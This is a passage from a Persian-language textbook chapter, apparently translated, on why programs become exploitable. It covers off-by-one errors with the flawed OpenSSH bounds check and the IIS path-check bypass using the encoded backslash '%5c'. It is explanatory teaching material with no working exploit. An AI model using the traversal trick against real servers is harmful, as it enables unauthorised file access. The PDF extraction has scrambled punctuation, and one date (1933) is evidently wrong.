اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ،ﯾﮏ ﺳﺘﻮن از ﻫﮑﯿﻨﮓ اﺳﺖ .ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻨﻬﺎ ﻣﺠﻤﻮﻋﻪ ای ﭘﯿﭽﯿﺪه از ﻗﻮاﻧﯿﻦ ﻫـﺴﺘﻨﺪ ﮐـﻪ ﯾـﮏ
ﺟﺮﯾﺎن اﺟﺮاﺋﯽ ﺧﺎص را دﻧﺒﺎل ﮐﺮده و ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﯽ ﮔﻮﯾﻨﺪ ﮐﻪ ﭼﻪ ﮐﺎری اﻧﺠﺎم دﻫﺪ .اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣـﻪ در
واﻗﻊ راﻫﯽ زﯾﺮﮐﺎﻧﻪ ﺟﻬﺖ اﻧﺠﺎم ﮐﺎرﻫﺎی ﻣﻮرد ﻧﻈﺮﻣﺎن ﺗﻮﺳﻂ ﮐﺎﻣﭙﯿﻮﺗﺮ اﺳﺖ ،ﺣﺘﯽ اﮔـﺮ ﺑﺮﻧﺎﻣـﻪ ﻓﻌﻠـﯽ در ﺣـﺎل اﺟـﺮا ،از
اﻧﺠﺎم آن ﮐﺎر ﻣﻨﻊ ﺷﺪه ﺑﺎﺷﺪ .ﭼﻮن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻋﻤﻼ ﮐﺎری را اﻧﺠﺎم ﻣﯽ دﻫﺪ ﮐﻪ ﺑـﺮای آن ﻃﺮاﺣـﯽ ﺷـﺪه ﺑﺎﺷـﺪ ،ﺑـﻪ اﯾـﻦ
ﺻﻮرت ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ ،7ﻧﻘﺎﯾﺺ ﯾﺎ ﺳﻬﻮاﺗﯽ در ﻃﺮاﺣﯽ ﺑﺮﻧﺎﻣﻪ ﯾﺎ ﻣﺤﯿﻂ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺴﺘﻨﺪ .ﭘﯿﺪا ﮐـﺮدن اﯾـﻦ ﺣﻔـﺮه
ﻫﺎ و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ آﻧﻬﺎ را ﺗﺼﺤﯿﺢ ﮐﻨﺪ ،ذﻫﻦ ﺧﻼﻗﯽ ﻣﯽ ﻃﻠﺒﺪ .ﺑﺮﺧـﯽ ﻣﻮاﻗـﻊ اﯾـﻦ ﺣﻔـﺮه ﻫـﺎ ﺣﺎﺻـﻞ ﺧﻄﺎﻫـﺎی
7
Security Holes
13
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﺴﺒﺘﺎ آﺷﮑﺎری ﻫﺴﺘﻨﺪ ،اﻣﺎ ﺧﻄﺎﻫﺎی آﺷﮑﺎر ﮐﻤﺘﺮی وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﻮاﺳﻄﻪ آﻧﻬﺎ ﺑﺘـﻮان ﮐـﺎرﮐﺮد ﺗﮑﻨﯿـﮏ
ﻫﺎی اﮐﺴﭙﻠﻮﯾﺘﻨﮓ ﭘﯿﭽﯿﺪه ﺗﺮ را در ﻣﮑﺎن ﻫﺎی ﻣﺨﺘﻠﻒ ﭘﺎﯾﻪ ﮔﺬاری ﮐﺮد.
ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻨﻬﺎ ﻣﯽ ﺗﻮاﻧﺪ ﮐﺎری را اﻧﺠﺎم دﻫﺪ ﮐﻪ ﺑﺮای آن ﺑﺮﻧﺎﻣﻪ رﯾﺰی )ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ( ﺷﺪه ﺑﺎﺷﺪ .ﻣﺘﺎﺳﻔﺎﻧﻪ ﺑﺮﻧﺎﻣـﻪ ای
ﮐﻪ ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮد ﻫﻤﯿﺸﻪ ﺑﺎ آن ﭼﯿﺰی ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ در اﺟﺮای ﺑﺮﻧﺎﻣﻪ از آن اﻧﺘﻈﺎر دارد ﻣﻨﻄﺒﻖ ﻧﯿﺴﺖ .اﯾﻦ اﺻـﻞ را
ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﻟﻄﯿﻔﻪ ﺑﯿﺎن ﮐﺮد:
ﻣﺮدی از ﻣﯿﺎن ﺑﯿﺸﻪ ای ﻣﯽ ﮔﺬﺷﺖ ،ﻧﺎﮔﻬﺎن ﯾﮏ ﭼﺮاغ ﺟﺎدو روی زﻣﯿﻦ ﯾﺎﻓﺖ .ﺑﻪ ﻃـﻮر ﻏﯿـﺮارادی ﭼـﺮاغ را ﺑﺮداﺷـﺖ و
روی آن را ﺑﺎ آﺳﺘﯿﻨﺶ ﭘﺎک ﮐﺮد .ﻧﺎﮔﻬﺎن ﻏﻮل ﭼﺮاغ ﺟﺎدو ﻇﺎﻫﺮ ﺷﺪ .ﻏﻮل از ﻣﺮد ﺑﻪ ﺧﺎﻃﺮ آزاد ﺳﺎﺧﺘﻦ او ﺗﺸﮑﺮ ﮐﺮد و
ﺑﻪ او ﺑﺮآوردن ﺳﻪ آرزو را ﻧﻮﯾﺪ داد .ﻣﺮد دﻗﯿﻘﺎ ﻣﯽ داﻧﺴﺖ ﮐﻪ ﭼﻪ ﻣﯽ ﺧﻮاﻫﺪ:
اﺑﺘﺪا ﮔﻔﺖ :ﻣﻦ ﯾﮏ 10ﻣﯿﻠﯿﺎرد ﺗﻮﻣﺎن ﭘﻮل ﻣﯽ ﺧﻮاﻫﻢ.
ﻏﻮل ﯾﮏ ﺑﺸﮑﻦ زد و ﻧﺎﮔﻬﺎن ﯾﮏ ﭼﻤﺪان ﭘﺮ از ﭘﻮل از ﻫﻮا ﺑﻪ داﻣﺎن او اﻓﺘﺎد.
ﺳﭙﺲ ﻣﺮد ﺑﺎ ﭼﺸﻤﺎﻧﯽ ﺣﯿﺮت زده اداﻣﻪ داد :ﻣﻦ ﯾﮏ ﻣﺎﺷﯿﻦ ﻓﺮاری ﻣﯽ ﺧﻮاﻫﻢ.
ﻏﻮل ﯾﮏ ﺑﺸﮑﻦ زد و ﻧﺎﮔﻬﺎن ﯾﮏ ﻣﺎﺷﯿﻦ ﻓﺮاری ﻇﺎﻫﺮ ﺷﺪ.
ﺳﭙﺲ ﻣﺮد اداﻣﻪ داد :ﺳﺮاﻧﺠﺎم ﻣﯽ ﺧﻮاﻫﻢ آﻧﻘﺪر ﻣﻄﻠﻮب و زﯾﺒﺎ ﺑﻪ ﻧﻈﺮ آﯾﻢ ﮐﻪ ﻫﯿﭻ زﻧﯽ ﺗﺎب ﺗﺤﻤﻠﻢ ﺑﺮ ﻧﺘﺎﺑﺪ!
ﻏﻮل ﺑﺸﮑﻨﯽ زد و ﻣﺮد ﺗﺒﺪﯾﻞ ﺑﻪ ﯾﮏ ﺟﻌﺒﻪ ﺷﮑﻼت ﺷﺪ!!
ﻣﺮد ﻣﯽ داﻧﺴﺖ ﮐﻪ ﭼﻪ ﻣﯽ ﺧﻮاﻫﺪ اﻣﺎ ﺑﻪ ﯾﮏ ﺟﻌﺒﻪ ﺷﮑﻼت ﺗﺒﺪﯾﻞ ﺷﺪ! درﺳﺖ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺘﯿﺠﻪ آﺧﺮﯾﻦ آرزوی ﻣﺮد
ﺑﺎ آن ﭼﻪ ﮔﻔﺘﻪ ﺑﻮد ﺗﻔﺎوت ﯾﺎﻓﺖ ،ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﯿﺰ دﻗﯿﻘﺎ دﺳﺘﻮرات را دﻧﺒﺎل و اﺟﺮا ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﻧﺘﺎﯾﺞ ﻫﻤﯿﺸﻪ ﻣﻄﺎﺑﻖ ﻧﻈـﺮ و
ﻣﯿﻞ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻧﺨﻮاﻫﻨﺪ ﺑﻮد و ﮔﺎﻫﯽ اوﻗﺎت ﺑﻪ ﻧﺘﺎﯾﺞ ﻏﯿﺮﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ و ﺣﺘﯽ ﻓﺎﺟﻌﻪ ﻫﺎی ﻋﻈﯿﻢ ﺧﻮاﻫﻨﺪ رﺳﯿﺪ.
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻫﺎ اﻧﺴﺎن و از ﻧﻮع ﺑﺸﺮﻧﺪ و ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﭼﯿﺰی ﮐﻪ ﻣﯽ ﻧﻮﯾﺴﻨﺪ ،دﻗﯿﻘـﺎ آن ﭼﯿـﺰی ﻧﯿـﺴﺖ ﮐـﻪ ﻣﻨﻈﻮرﺷـﺎن
ﺑﻮده اﺳﺖ .ﺑﺮای ﻣﺜﺎل ،ﯾﮏ ﺧﻄﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻌﻤﻮل وﺟﻮد دارد ﮐﻪ ﺑﺎ ﻧـﺎم off-by-oneﺷـﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد .ﻫﻤـﺎن
ﻃﻮر ﮐﻪ ﻧﺎم اﯾﻦ ﺧﻄﺎ ﻧﺸﺎن ﻣﯽ دﻫﺪ ،ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﺑﻪ ﻣﯿﺰﺑﺎن ﯾﮏ واﺣﺪ در ﻣﺤﺎﺳﺒﺎت ﺧـﻮد اﺷـﺘﺒﺎه ﻣـﯽ ﮐﻨـﺪ .اﯾـﻦ ﺧﻄـﺎ
ﺧﯿﻠﯽ ﺑﯿﺸﺘﺮ از آﻧﮑﻪ ﻓﮑﺮش را ﺑﮑﻨﯿﺪ اﺗﻔﺎق ﻣﯽ اﻓﺘﺪ .ﺷﺎﯾﺪ ﺑﺘـﻮان آﻧـﺮا ﺑـﺎ ﯾـﮏ ﺳـﻮال ﺑﻬﺘـﺮ ﺗﻮﺿـﯿﺢ داد :اﮔـﺮ در ﺣـﺎل
ﺳﺎﺧﺘﻦ ﯾﮏ دﯾﻮار 100ﭘﺎﯾﯽ ﺑﺎﺷﯿﺪ ﮐﻪ در آن ﺳﺘﻮن ﻫﺎ ﺑﻪ ﻓﺎﺻﻠﻪ 10ﭘﺎ از ﯾﮑﺪﯾﮕﺮ ﻓﺎﺻﻠﻪ دارﻧﺪ ،ﭼﻪ ﺗﻌﺪاد ﺳﺘﻮن ﺑﺮای
اﯾﻦ دﯾﻮار ﻧﯿﺎز اﺳﺖ؟ ﺟﻮاب واﺿﺢ اﺳﺖ 10 ،ﺳﺘﻮن .اﻣﺎ اﯾﻦ ﺟﻮاب ﻧﺎدرﺳﺖ اﺳﺖ و ﻋﻤﻼ 11ﺳﺘﻮن اﺣﺘﯿـﺎج ﻣـﯽ ﺑﺎﺷـﺪ.
ﺧﻄﺎی off-by-oneرا ﻣﻌﻤﻮﻻ ﺧﻄﺎی ﺳﺘﻮن-دﯾﻮار ) (fencepost errorﻣﯽ ﻧﺎﻣﻨـﺪ و زﻣـﺎﻧﯽ رخ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ
ﻧﻮﯾﺲ ﺳﻬﻮاً اﺷﯿﺎ را ﺑﺠﺎی ﻓﻀﺎی ﺑﯿﻦ اﺷﯿﺎ ﻣﯽ ﺷﻤﺎرد و ﺑﻪ ﻋﮑﺲ .ﻣﺜﺎﻟﯽ دﯾﮕﺮ زﻣﺎﻧﯽ اﺳﺖ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ ﺳـﻌﯽ ﺑـﺮ
اﻧﺘﺨﺎب ﻣﺤﺪوده ای از ارﻗﺎم ﯾﺎ اﺷﯿﺎ ﺑﺮای ﭘﺮدازش دارد ،ﺑـﺮای ﻣﺜـﺎل اﺷـﯿﺎی ﻣﻮﺟـﻮد ﺑـﯿﻦ Nﺗـﺎ .Mﺑـﺎ ﻓـﺮض N=5و
،M=17ﺗﻌﺪاد اﺷﯿﺎ ﺑﺮای ﭘﺮدازش ﭼﻨﺪ اﺳﺖ؟ ﺟـﻮاب آﺷـﮑﺎر ﺑﺮاﺑـﺮ اﺳـﺖ ﺑـﺎ M–Nﯾـﺎ .17-5 =12اﻣـﺎ اﯾـﻦ ﺟـﻮاب
ﻧﺎدرﺳﺖ اﺳﺖ ،ﭼﻮن در ﺣﻘﯿﻘﺖ M-N+1ﺷﯽ ﺑﯿﻦ Nو Mوﺟﻮد دارد ﮐﻪ ﺟﻤﻌﺎ 13ﺷﯽ ﻣﯽ ﺷﻮﻧﺪ .اوﻟـﯿﻦ ﺑـﺎر ،ﻣﻤﮑـﻦ
اﺳﺖ اﯾﻦ ﻧﮑﺎت ﻏﯿﺮﻣﻨﻄﻘﯽ ﺑﻪ ﻧﻈﺮ ﺑﯿﺎﯾﻨﺪ .اﻣﺎ ﺣﻘﯿﻘﺖ ﻣﺎﺟﺮا ﻧﯿﺰ ﻫﻤﯿﻦ اﺳﺖ ،ﺑﻪ دﻟﯿـﻞ ﻏﯿﺮﻣﻨﻄﻘـﯽ ﺑـﻪ ﻧﻈـﺮ رﺳـﯿﺪن اﯾـﻦ
ﻧﮑﺎت اﺳﺖ ﮐﻪ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﻮﺟﻮد ﻣﯽ آﯾﻨﺪ.
ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﺮای ﻫﺮ اﺣﺘﻤﺎل واﺣﺪ ﺑﺮرﺳﯽ ﻧﺸﺪه و ﺗﺎﺛﯿﺮاﺗﺸﺎن در ﺧﻼل ﯾﮏ اﺟـﺮای ﻣﻌﻤـﻮﻟﯽ از ﺑﺮﻧﺎﻣـﻪ ﻇـﺎﻫﺮ ﻧﻤـﯽ
ﺷﻮد ،ﻟﺬا ﻣﻌﻤﻮﻻ ﺧﻄﺎﻫﺎی ﺳﺘﻮن-دﯾﻮار ﮐﻤﺘﺮ ﺗﺸﺨﯿﺺ داده ﻣﯽ ﺷﻮﻧﺪ .ﺑﻪ ﻫﺮ ﺣﺎل زﻣﺎﻧﯽ ﮐﻪ ﯾﮏ ورودی ﺑﻪ ﺑﺮﻧﺎﻣـﻪ داده
ﺷﻮد ﮐﻪ ﺗﺎﺛﯿﺮات ﺧﻄﺎ را آﺷﮑﺎر ﺳﺎزد ،ﺗﻮاﻟﯽ ﺧﻄﺎﻫﺎی ﻣﻮﺟﻮد در ﺑﺮﻧﺎﻣـﻪ ﺗـﺎﺛﯿﺮات ﻣﻬﻤـﯽ در ﺳـﺎﺧﺘﺎر ﻣﻨﻄﻘـﯽ در اداﻣـﻪ
اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ داﺷﺖ .اﮔﺮ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﻪ درﺳﺘﯽ اﮐﺴﭙﻠﻮﯾﺖ ﺷﻮﻧﺪ ،ﯾﮏ ﺧﻄﺎی ﺳﺘﻮن-دﯾﻮار ﻣﯽ ﺗﻮاﻧﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ
ﺑﻪ ﻇﺎﻫﺮ اﯾﻤﻦ را ﺑﻪ ﯾﮏ آﺳﯿﺐ ﭘﺬﯾﺮی اﻣﻨﯿﺘﯽ ﺗﺒﺪﯾﻞ ﮐﻨﺪ.
ﻣﺜﺎل اﺧﯿﺮ در اﯾﻦ راﺳﺘﺎ OpenSSHاﺳﺖ ﮐﻪ ﺑﺎ ﻫﺪف ﯾﮏ رﺷﺘﻪ ﺑﺮﻧﺎﻣﻪ ﺗﺮﻣﯿﻨﺎل ارﺗﺒﺎﻃﯽ اﯾﻤﻦ و ﺑـﻪ ﻋﻨـﻮان ﺟـﺎﯾﮕﺰﯾﻨﯽ
ﺑﺮای ﺳﺮوﯾﺲ ﻫﺎی ﻧﺎاﻣﻦ و ﻏﯿﺮرﻣﺰی ﻣﺎﻧﻨﺪ rsh ،telnetو rcpﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ .ﺑﻪ اﯾـﻦ ﺣـﺎل ﯾـﮏ ﺧﻄـﺎی ﺳـﺘﻮن-
14
دﯾﻮار در ﮐﺪ ﺗﺨﺼﯿﺺ ﮐﺎﻧﺎل وﺟﻮد داﺷﺖ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺷﺪت اﮐـﺴﭙﻠﻮﯾﺖ ﺷـﺪ .آن ﺧﻄـﺎ در ﯾـﮏ ﻋﺒـﺎرت ﺷـﺮﻃﯽ ifﺑـﻪ
ﺻﻮرت زﯾﺮ ﺑﻮد:
{ )if (id < 0 || id > channels_alloc
ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮد:
{ )if (id < 0 || id >= channels_alloc
در ﭘﺎرﺳﯽ روان ،ﺷﺮط اول ﺑﻪ ﺻﻮرت "اﮔﺮ IDﮐﻤﺘﺮ از ﺻﻔﺮ ﯾﺎ ﺑﺰرﮔﺘﺮ از ﮐﺎﻧﺎﻟﻬﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ ،ﻋﻤﻠﯿـﺎت زﯾـﺮ
را اﻧﺠﺎم ﺑﺪه" ﺧﻮاﻧﺪه ﻣﯽ ﺷﻮد ،در ﺻﻮرﺗﯽ ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ ﺷﮑﻞ ﺑﯽ ﻧﻘﺺ زﯾﺮ )ﺷﺮط دوم( ﺧﻮاﻧﺪه ﺷـﻮد" :اﮔـﺮ IDﮐﻤﺘـﺮ از
ﺻﻔﺮ ﯾﺎ ﺑﺰرﮔﺘﺮ ﯾﺎ ﻣﺴﺎوی ﺑﺎ ﮐﺎﻧﺎﻟﻬﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ ،ﻋﻤﻠﯿﺎت زﯾﺮ را اﻧﺠﺎم ﺑﺪه".
اﯾﻦ ﺧﻄﺎی ﺳﺘﻮن-دﯾﻮار ﺳﺎده ،اﻣﮑﺎن اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن ﺑﺮﻧﺎﻣﻪ را ﻓﺮاﻫﻢ ﻣﯽ ﮐﺮد ،ﺑﻄﻮرﯾﮑﻪ ﯾﮏ ﮐـﺎرﺑﺮ ﻣﻌﻤـﻮﻟﯽ ﭘـﺲ از
اﻋﺘﺒﺎرﺳﻨﺠﯽ و ﻻﮔﯿﻦ ،ﻣﯿﺘﻮاﻧﺴﺖ اﺧﺘﯿﺎرات ﻣﺪﯾﺮﯾﺘﯽ ﺳﯿﺴﺘﻢ را ﮐﺴﺐ ﮐﻨﺪ .اﯾﻦ ﻧﻮع ﻋﺎﻣﻠﯿﺖ ﺑﯽ ﺷﮏ آن ﭼﯿـﺰی ﻧﺒـﻮده
اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﺎن ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﻣﻨﯿﺘﯽ ﻣﺎﻧﻨﺪ OpenSSHدر ﻧﻈﺮ داﺷﺘﻪ اﻧﺪ ،اﻣﺎ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺗﻨﻬـﺎ ﮐـﺎری را اﻧﺠـﺎم
ﻣﯽ دﻫﺪ ﮐﻪ ﺑﻪ آن ﮔﻔﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ،ﺣﺘﯽ اﮔﺮ ﻣﻄﻠﻮب ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻧﺒﺎﺷﺪ.
وﺿﻌﯿﺖ دﯾﮕﺮی ﮐﻪ ﻇﺎﻫﺮا ﺧﻄﺎﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻗﺎﺑﻞ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن را اﯾﺠﺎد ﻣﯽ ﮐﻨﺪ ،زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ
ﺳﺮﻋﺖ ﺑﻪ ﻣﻨﻈﻮر اﻓﺰاﯾﺶ ﻋﺎﻣﻠﯿﺖ ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ .اﮔﺮﭼﻪ اﯾﻦ اﻓﺰاﯾﺶ در ﻋﺎﻣﻠﯿﺖ ،ﺑﺮﻧﺎﻣﻪ را از ﺣﯿﺚ ﺑﺎزار ﻗﺎﺑﻞ ﻗﺒﻮل ﺗـﺮ
ﻣﯽ ﺳﺎزد و ﺑﻬﺎی آﻧﺮا اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ ،اﻣﺎ ﺑﻪ ﻫﻤﺎن ﻣﯿﺰان ﭘﯿﭽﯿﺪﮔﯽ ﺑﺮﻧﺎﻣﻪ ﻧﯿـﺰ ﺑـﺎﻻ ﻣـﯽ رود .اﯾـﻦ ﭘﯿﭽﯿـﺪﮔﯽ ،اﺣﺘﻤـﺎل
اﺷﺘﺒﺎﻫﺎتِ از ﻧﻈﺮ دور ﻣﺎﻧﺪه و ﺳﻬﻮی را در ﺑﺮﻧﺎﻣﻪ اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ .وب ﺳﺮور IISاز ﺷﺮﮐﺖ ﻣﺎﮐﺮوﺳﺎﻓﺖ ﺟﻬﺖ اراﺋـﻪ
ﻣﻨﺪرﺟﺎت اﯾﺴﺘﺎ و ﺗﻌﺎﻣﻠﯽ وب ﺑﻪ ﮐﺎرﺑﺮان ﻃﺮاﺣﯽ ﺷﺪه اﺳﺖ .ﺑﺮای رﺳﯿﺪن ﺑﻪ اﯾﻦ ﻫﺪف ،ﺑﺮﻧﺎﻣـﻪ ﺑﺎﯾـﺪ اﺟـﺎزه ﺧﻮاﻧـﺪن،
ﻧﻮﺷﺘﻦ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺎ و ﻓﺎﯾﻞ ﻫﺎ را درون ﺷﺎﺧﻪ ﻫﺎی ﻣﺸﺨﺼﯽ ﺑﻪ ﮐﺎرﺑﺮان ﺑﺪﻫﺪ؛ ﺑﺎ اﯾﻦ ﺣﺎل اﯾﻦ ﻋﺎﻣﻠﯿﺖ ﻓﻘـﻂ ﺑﺎﯾـﺪ
ﻣﺤﺪود ﺑﻪ ﻫﻤﺎن ﺷﺎﺧﻪ ﻫﺎ ﺑﺎﺷﺪ .ﺑﺪون اﯾﻦ ﻣﺤﺪودﯾﺖ ﮐﺎرﺑﺮان ﮐﻨﺘﺮل ﮐﺎﻣﻠﯽ روی ﺳﯿﺴﺘﻢ ﺧﻮاﻫﻨـﺪ داﺷـﺖ ﮐـﻪ از ﻧﻘﻄـﻪ
ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﺧﻮﺷﺎﯾﻨﺪ و ﻣﻄﻠﻮب ﻧﯿﺴﺖ .ﺑﺮای اﺟﺘﻨﺎب از اﯾﻦ وﺿﻌﯿﺖ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﮐﺪ ﺑﺮرﺳﯽ-ﻣﺴﯿﺮ 8دارد ﮐﻪ ﮐﺎرﺑﺮان را
از اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮ ( \ ) Back-Slashﺟﻬﺖ ﺑﺮﮔﺸﺖ ﺑﻪ ﺷﺎﺧﻪ ﻗﺒﻠﯽ و دﯾﺪن دﯾﮕﺮ ﺷﺎﺧﻪ ﻫﺎ ﻣﻨﻊ ﻣﯽ ﮐﻨﺪ.
ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﭘﺸﺘﯿﺒﺎﻧﯽ از ﻣﺠﻤﻮﻋﻪ ﮐﺎراﮐﺘﺮ ﯾﻮﻧﯿﮑﺪ ) ،(Unicodeﭘﯿﭽﯿﺪﮔﯽ ﺑﺮﻧﺎﻣﻪ ﺑﺎز ﻫـﻢ اﻓـﺰاﯾﺶ ﯾﺎﻓـﺖ .ﯾﻮﻧﯿﮑـﺪ
ﯾﮏ ﻣﺠﻤﻮﻋﻪ ﮐﺎراﮐﺘﺮِ ﺑﺎﯾﺖ-ﻣﻀﺎﻋﻒ اﺳﺖ ﮐﻪ ﺑﻪ ﻣﻨﻈﻮر اراﺋﻪ ﮐﺎراﮐﺘﺮﻫﺎ ﺑﻪ ﻫﺮ زﺑﺎﻧﯽ ﻣﺎﻧﻨﺪ ﭼﯿﻨﯽ و ﻋﺮﺑﯽ و ﻏﯿﺮه ﻃﺮاﺣﯽ
ﺷﺪه اﺳﺖ .ﺑﻪ ﺟﺎی ﯾﮏ ﺑﺎﯾﺖ ﺑﺮای ﻫﺮ ﮐﺎراﮐﺘﺮ ،ﯾﻮﻧﯿﮑﺪ ﺑﺎ اﺳﺘﻔﺎده از دو ﺑﺎﯾﺖ ﺑﺮای ﻧﻤﺎﯾﺶ ﻫﺮ ﮐﺎراﮐﺘﺮ ،اﻣﮑﺎن ﭘﯿﺪاﯾﺶ
ﻫﺰاران ﮐﺎراﮐﺘﺮ ﻣﻤﮑﻦ را ﻓﺮاﻫﻢ ﻣﯽ آورد ،و اﯾﻦ ،ﻣﺨﺎﻟﻒ اﯾﺪه اﺳﺘﻔﺎده از ﯾﮏ ﺑﺎﯾﺖ ﺑﺮای ﻫﺮ ﮐﺎراﮐﺘﺮ اﺳـﺖ ﮐـﻪ در آن
ﺗﻨﻬﺎ ﭼﻨﺪﺻﺪ ﮐﺎراﮐﺘﺮ اﻣﮑﺎن وﺟﻮد دارﻧﺪ .ﺑـﻪ اﯾـﻦ ﺻـﻮرت اﯾـﻦ ﭘﯿﭽﯿـﺪﮔﯽ اﺿـﺎﻓﯽ ،اﻣﮑـﺎن ﭼﻨـﺪﯾﻦ ﻧﻤـﺎﯾﺶ از ﮐـﺎراﮐﺘﺮ
Backslashرا ﻓﺮاﻫﻢ ﻣﯽ آورد .ﺑﺮای ﻣﺜﺎل %5c ،در ﯾﻮﻧﯿﮑﺪ ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮ backslashﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮد .اﻣﺎ اﯾـﻦ
ﺗﺮﺟﻤﻪ ﺑﻌﺪ از اﺟﺮای ﮐﺪ ﺑﺮرﺳﯽ ﻣﺴﯿﺮ اﻧﺠﺎم ﻣﯽ ﺷﻮد .ﻟﺬا ﺑﻪ ﺟﺎی ﮐﺎراﮐﺘﺮ \ ،ﺑﺎ اﺳﺘﻔﺎده از %5cاﻣﮑﺎن ﺗﻐﯿﯿﺮ ﺷﺎﺧﻪ ﺑـﻪ
وﺟﻮد ﻣﯽ آﯾﺪ ﮐﻪ اﯾﻦ ﺧﺎﺻﯿﺖ ﺧﻄﺮات اﻣﻨﯿﺘﯽ ﻣﺬﺑﻮر را ﺑـﻪ ارﻣﻐـﺎن ﻣـﯽ آورد .دو ﮐـﺮم اﯾﻨﺘﺮﻧﺘـﯽ Sadmindو Code-
Redاز اﯾﻦ ﻧﻮع اﺷﺘﺒﺎه در ﺗﺮﺟﻤﻪ ﯾﻮﻧﯿﮑﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﺮدﻧﺪ.
ﻣﺜﺎل دﯾﮕﺮ از اﯾﻦ ﻗﺎﻧﻮن در ﺧﺎرج ﻗﻠﻤﺮو ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﮐـﺎﻣﭙﯿﻮﺗﺮی اﺳـﺘﻔﺎده ﺷـﺪ ﮐـﻪ ﺗﺤـﺖ ﻋﻨـﻮان "روزﻧـﻪ ﺳـﻨﮕﺮ در
ﻟَﻤَﮑﺸﯿﺎ" ﺷﻨﺎﺧﺘﻪ ﻣﯿﺸﻮد .درﺳﺖ ﻣﺎﻧﻨﺪ ﻗﻮاﻧﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﯿﻮﺗﺮی ،ﻧﻈﺎم ﻗﺎﻧﻮﻧﯽ آﻣﺮﯾﮑﺎ ﻧﯿﺰ در ﺑﺮﺧﯽ ﻣﻮاﻗﻊ ﻗـﻮاﻧﯿﻨﯽ
دارد ﮐﻪ دﻗﯿﻘﺎ ﻣﻮﺿﻊ و ﻣﻨﻈﻮر ﺧﻮد را ﺑﯿﺎن ﻧﻤﯽ دارد .ﻫﻤﺎﻧﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ ﺑﺮای ﺑﺮﻧﺎﻣﻪ ﻫـﺎی ﮐـﺎﻣﭙﯿﻮﺗﺮی ،ﻣـﯽ ﺗـﻮان از
اﯾﻦ روزﻧﻪ ﻫﺎی ﻗﺎﻧﻮﻧﯽ ﺑﺮای ﺳﻮ اﺳﺘﻔﺎده از آن ﻗﻮاﻧﯿﻦ اﺳﺘﻔﺎده ﮐﺮد .ﺗﻘﺮﯾﺒﺎ اواﺧﺮ ﺳـﺎل ،1933دﯾﻮﯾـﺪ ﻟﻤﮑـﺸﯿﺎ ،9ﯾـﮏ
8
Path-Checking
9
David LaMacchia
15
